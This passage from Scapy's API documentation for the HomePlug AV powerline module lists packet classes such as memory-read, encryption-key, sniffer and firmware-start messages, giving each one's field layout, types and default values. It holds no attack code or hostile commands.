aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L259-L260]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           NETWORKID                           |
+                                               +-+-+-+-+-+-+-+-+
|                                               |   RESERVED 1  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               | SHORTNETWORKID|  TERMINALEID  |   RESERVED 2  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |  STATIONROLE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CCOMACADRESS                         |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               | CCOTERMINALEID|   RESERVED 3  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NetworkInfoV11                        


NetworkInfoV11 fields






	NetworkID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00'



	reserved_1

	ShortField

	0



	ShortNetworkID

	XByteField

	0



	TerminalEID

	XByteField

	1



	reserved_2

	IntField

	0



	StationRole

	ByteEnumField

	0



	CCoMACAdress

	MACField

	'00:00:00:00:00:00'



	CCoTerminalEID

	XByteField

	1



	reserved_3

	X3BytesField

	0















	
class scapy.contrib.homeplugav.NetworkInformationRequest(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L200-L202]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.homeplugav.PeerNode(_pkt, /, *, PeerTEI=0, PIBMACAddr='00:00:00:00:00:00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L709-L716]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L715-L716]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    PEERTEI    |                   PIBMACADDR                  |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. PeerNode                           


PeerNode fields






	PeerTEI

	XByteField

	0



	PIBMACAddr

	MACField

	'00:00:00:00:00:00'















	
class scapy.contrib.homeplugav.PrescalerValue(_pkt, /, *, prescaler=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L738-L744]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L743-L744]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PRESCALER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PrescalerValue                        


PrescalerValue fields






	prescaler

	XIntField

	0















	
class scapy.contrib.homeplugav.QUAResetFactoryConfirm(_pkt, /, *, Status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L369-L371]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |
+-+-+-+-+-+-+-+-+

                   Fig. QUAResetFactoryConfirm                    


QUAResetFactoryConfirm fields






	Status

	ByteEnumField

	0















	
class scapy.contrib.homeplugav.RSVD_CustomAggregationParameter(_pkt, /, *, CustomAggregationParameter=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L729-L735]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L734-L735]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                   CUSTOMAGGREGATIONPARAMETER                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. RSVD_CustomAggregationParameter               


RSVD_CustomAggregationParameter fields






	CustomAggregationParameter

	XIntField

	0















	
class scapy.contrib.homeplugav.ReadConfBlockConfirmation(_pkt, /, *, Status=0, BlockLen=None, ConfigurationBlock=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L1358-L1362]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |    BLOCKLEN   |       CONFIGURATIONBLOCK      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ReadConfBlockConfirmation                  


ReadConfBlockConfirmation fields






	Status

	ByteEnumField

	0



	BlockLen

	FieldLenField

	None



	ConfigurationBlock

	PacketListField

	[]















	
class scapy.contrib.homeplugav.ReadConfBlockRequest(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L1308-L1310]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.homeplugav.ReadMACMemoryConfirmation(_pkt, /, *, Status=0, Address=0, MACLen=None, MACData=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L475-L482]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |                    ADDRESS                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             MACLEN            |    MACDATA    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                  Fig. ReadMACMemoryConfirmation                  


ReadMACMemoryConfirmation fields






	Status

	ByteEnumField

	0



	Address

	LEIntField

	0



	MACLen

	FieldLenField

	None



	MACData

	StrLenField

	b'\x00'















	
class scapy.contrib.homeplugav.ReadMACMemoryRequest(_pkt, /, *, Address=0, Length=1024)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L463-L467]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADDRESS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ReadMACMemoryRequest                     


ReadMACMemoryRequest fields






	Address

	LEIntField

	0



	Length

	LEIntField

	1024















	
class scapy.contrib.homeplugav.ReadModuleDataConfirmation(_pkt, /, *, Status=0, reserved_1=0, ModuleID=2, reserved_2=0, DataLen=None, Offset=0, checksum=None, ModuleData=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L605-L624]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |                   RESERVED 1                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |    MODULEID   |   RESERVED 2  |    DATALEN    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     OFFSET                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    CHECKSUM                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           MODULEDATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. ReadModuleDataConfirmation                  


ReadModuleDataConfirmation fields






	Status

	ByteEnumField

	0



	reserved_1

	X3BytesField

	0



	ModuleID

	ByteEnumField

	2



	reserved_2

	XByteField

	0



	DataLen

	FieldLenField

	None



	Offset

	LEIntField

	0



	checksum

	LEIntField

	None



	ModuleData

	StrLenField

	b'\x00'











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L617-L624]

	








	
class scapy.contrib.homeplugav.ReadModuleDataRequest(_pkt, /, *, ModuleID=2, reserved=0, Length=1024, Offset=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L597-L602]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MODULEID   |    RESERVED   |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OFFSET                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ReadModuleDataRequest                    


ReadModuleDataRequest fields






	ModuleID

	ByteEnumField

	2



	reserved

	XByteField

	0



	Length

	LEShortField

	1024



	Offset

	LEIntField

	0















	
class scapy.contrib.homeplugav.ReservedPercentageForCap(_pkt, /, *, CAPpercent=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L756-L762]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L761-L762]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   CAPPERCENT  |
+-+-+-+-+-+-+-+-+

                  Fig. ReservedPercentageForCap                   


ReservedPercentageForCap fields






	CAPpercent

	XByteField

	0















	
class scapy.contrib.homeplugav.ResetDeviceConfirmation(_pkt, /, *, Status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L1296-L1298]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |
+-+-+-+-+-+-+-+-+

                   Fig. ResetDeviceConfirmation                   


ResetDeviceConfirmation fields






	Status

	ByteEnumField

	0















	
class scapy.contrib.homeplugav.ResetDeviceRequest(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L1291-L1293]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.homeplugav.SetEncryptionKeyConfirmation(_pkt, /, *, Status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L360-L362]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |
+-+-+-+-+-+-+-+-+

                Fig. SetEncryptionKeyConfirmation                 


SetEncryptionKeyConfirmation fields






	Status

	ByteEnumField

	0















	
class scapy.contrib.homeplugav.SetEncryptionKeyRequest(_pkt, /, *, EKS=0, NMK=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', PayloadEncKeySelect=0, DestinationMAC='ff:ff:ff:ff:ff:ff', DAK=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L342-L352]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      EKS      |                      NMK                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |PAYLOADENCKEYSE|         DESTINATIONMAC        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DAK                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SetEncryptionKeyRequest                   


SetEncryptionKeyRequest fields






	EKS

	XByteField

	0



	NMK

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	PayloadEncKeySelect

	XByteField

	0



	DestinationMAC

	MACField

	'ff:ff:ff:ff:ff:ff'



	DAK

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.homeplugav.SnifferConfirmation(_pkt, /, *, Status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L411-L413]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |
+-+-+-+-+-+-+-+-+

                     Fig. SnifferConfirmation                     


SnifferConfirmation fields






	Status

	ByteEnumField

	0















	
class scapy.contrib.homeplugav.SnifferIndicate(_pkt, /, *, SnifferType=0, Direction=0, SystemTime=0, BeaconTime=0, ShortNetworkID=0, SourceTermEqID=0, DestTermEqID=0, LinkID=0, PayloadEncrKeySelect=15, PendingPHYblock=0, BitLoadingEstim=0, ToneMapIndex=0, NumberofSymbols=0, PHYblockSize=0, FrameLength=0, ReversegrandLength=0, RequestSACKtrans=0, DataMACstreamCMD=0, ManNACFrameStreamCMD=0, reserved_1=0, MultinetBroadcast=0, DifferentCPPHYclock=0, Multicast=0, FrameControlCheckSeq=0, ShortNetworkID_=0, BeaconTimestamp=0, BeaconTransOffset_0=0, BeaconTransOffset_1=0, BeaconTransOffset_2=0, BeaconTransOffset_3=0, FrameContrchkSeq=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L423-L456]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SNIFFERTYPE  |   DIRECTION   |           SYSTEMTIME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           BEACONTIME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               | SHORTNETWORKID| SOURCETERMEQID|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  DESTTERMEQID |     LINKID    |PAYLOADENCRKEYS|PENDINGPHYBLOCK|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BITLOADINGESTIM|TONEMAPIN|NUM|P|          FRAMELENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|REVERSEGRANDLEN|R|DATAM|MANNA| RESERVED 1|M|D|M|FRAMECONTROLCHE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |SHORTNETWORKID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        BEACONTIMESTAMP                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      BEACONTRANSOFFSET 0      |      BEACONTRANSOFFSET 1      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      BEACONTRANSOFFSET 2      |      BEACONTRANSOFFSET 3      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        FRAMECONTRCHKSEQ                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. SnifferIndicate                       


SnifferIndicate fields






	SnifferType

	ByteEnumField

	0



	Direction

	ByteEnumField

	0



	SystemTime

	LELongField

	0



	BeaconTime

	LEIntField

	0



	ShortNetworkID

	XByteField

	0



	SourceTermEqID

	ByteField

	0



	DestTermEqID

	ByteField

	0



	LinkID

	ByteField

	0



	PayloadEncrKeySelect

	XByteField

	15



	PendingPHYblock

	ByteField

	0



	BitLoadingEstim

	ByteField

	0



	ToneMapIndex

	BitField  (5 bits)

	0



	NumberofSymbols

	BitField  (2 bits)

	0



	PHYblockSize

	BitField  (1 bit)

	0



	FrameLength

	XShortField

	0



	ReversegrandLength

	XByteField

	0



	RequestSACKtrans

	BitField  (1 bit)

	0



	DataMACstreamCMD

	BitField  (3 bits)

	0



	ManNACFrameStreamCMD

	BitField  (3 bits)

	0



	reserved_1

	BitField  (6 bits)

	0



	MultinetBroadcast

	BitField  (1 bit)

	0



	DifferentCPPHYclock

	BitField  (1 bit)

	0



	Multicast

	BitField  (1 bit)

	0



	FrameControlCheckSeq

	X3BytesField

	0



	ShortNetworkID_

	XByteField

	0



	BeaconTimestamp

	IntField

	0



	BeaconTransOffset_0

	XShortField

	0



	BeaconTransOffset_1

	XShortField

	0



	BeaconTransOffset_2

	XShortField

	0



	BeaconTransOffset_3

	XShortField

	0



	FrameContrchkSeq

	X3BytesField

	0















	
class scapy.contrib.homeplugav.SnifferRequest(_pkt, /, *, SnifferControl=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L402-L404]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SNIFFERCONTROL|
+-+-+-+-+-+-+-+-+

                       Fig. SnifferRequest                        


SnifferRequest fields






	SnifferControl

	ByteEnumField

	0















	
class scapy.contrib.homeplugav.StartMACConfirmation(_pkt, /, *, Status=0, ModuleID=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L1277-L1281]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |    MODULEID   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. StartMACConfirmation                     


StartMACConfirmation fields






	Status

	ByteEnumField

	0



	ModuleID

	XByteField

	0















	
class scapy.contrib.homeplugav.StartMACRequest(_pkt, /, *, ModuleID=0, reserver_1=0, ImgLoadStartAddr=0, ImgLength=0, ImgCheckSum=0, ImgStartAddr=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L1266-L1274]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MODULEID   |                   RESERVER 1                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                IMGLOADSTARTADDR               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   IMGLENGTH                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                  IMGCHECKSUM                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                  IMGSTARTADDR                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. StartMACRequest                       


StartMACRequest fields






	ModuleID

	ByteEnumField

	0



	reserver_1

	X3BytesField

	0



	ImgLoadStartAddr

	LEIntField

	0



	ImgLength

	LEIntField

	0



	ImgCheckSum

	LEIntField

	0



	ImgStartAddr

	LEIntField

	0















	
class scapy.contrib.homeplugav.StationInfoV10(_pkt, /, *, StationMAC='00:00:00:00:00:00', StationTerminalEID=1, firstnodeMAC='ff:ff:ff:ff:ff:ff', TXaverage=0, RXaverage=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L225-L237]

	Bases: Packet

Station Information Element


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L236-L237]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           STATIONMAC                          |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |STATIONTERMINAL|  FIRSTNODEMAC |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   TXAVERAGE   |   RXAVERAGE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. StationInfoV10                        


StationInfoV10 fields






	StationMAC

	MACField

	'00:00:00:00:00:00'



	StationTerminalEID

	XByteField

	1



	firstnodeMAC

	MACField

	'ff:ff:ff:ff:ff:ff'



	TXaverage

	XByteField

	0



	RXaverage

	XByteField

	0















	
class scapy.contrib.homeplugav.StationInfoV11(_pkt, /, *, StationMAC='00:00:00:00:00:00', StationTerminalEID=1, reserved_s2=0, firstnodeMAC='ff:ff:ff:ff:ff:ff', TXaverage=0, RxCoupling=0, TxCoupling=0, reserved_s3=0, RXaverage=0, reserved_s4=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L263-L280]

	Bases: Packet

Station Information Element


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L279-L280]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           STATIONMAC                          |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |STATIONTERMINAL|  RESERVED S2  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |  FIRSTNODEMAC |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           TXAVERAGE           |RXCOUPL|TXCOUPL|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESERVED S3  |           RXAVERAGE           |  RESERVED S4  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. StationInfoV11                        


StationInfoV11 fields






	StationMAC

	MACField

	'00:00:00:00:00:00'



	StationTerminalEID

	XByteField

	1



	reserved_s2

	X3BytesField

	0



	firstnodeMAC

	MACField

	'ff:ff:ff:ff:ff:ff'



	TXaverage

	LEShortField

	0



	RxCoupling

	BitField  (4 bits)

	0



	TxCoupling

	BitField  (4 bits)

	0



	reserved_s3

	XByteField

	0



	RXaverage

	LEShortField

	0



	reserved_s4

	XByteField

	0















	
class scapy.contrib.homeplugav.VendorMME(_pkt, /, *, OUI=45138)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L185-L187]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
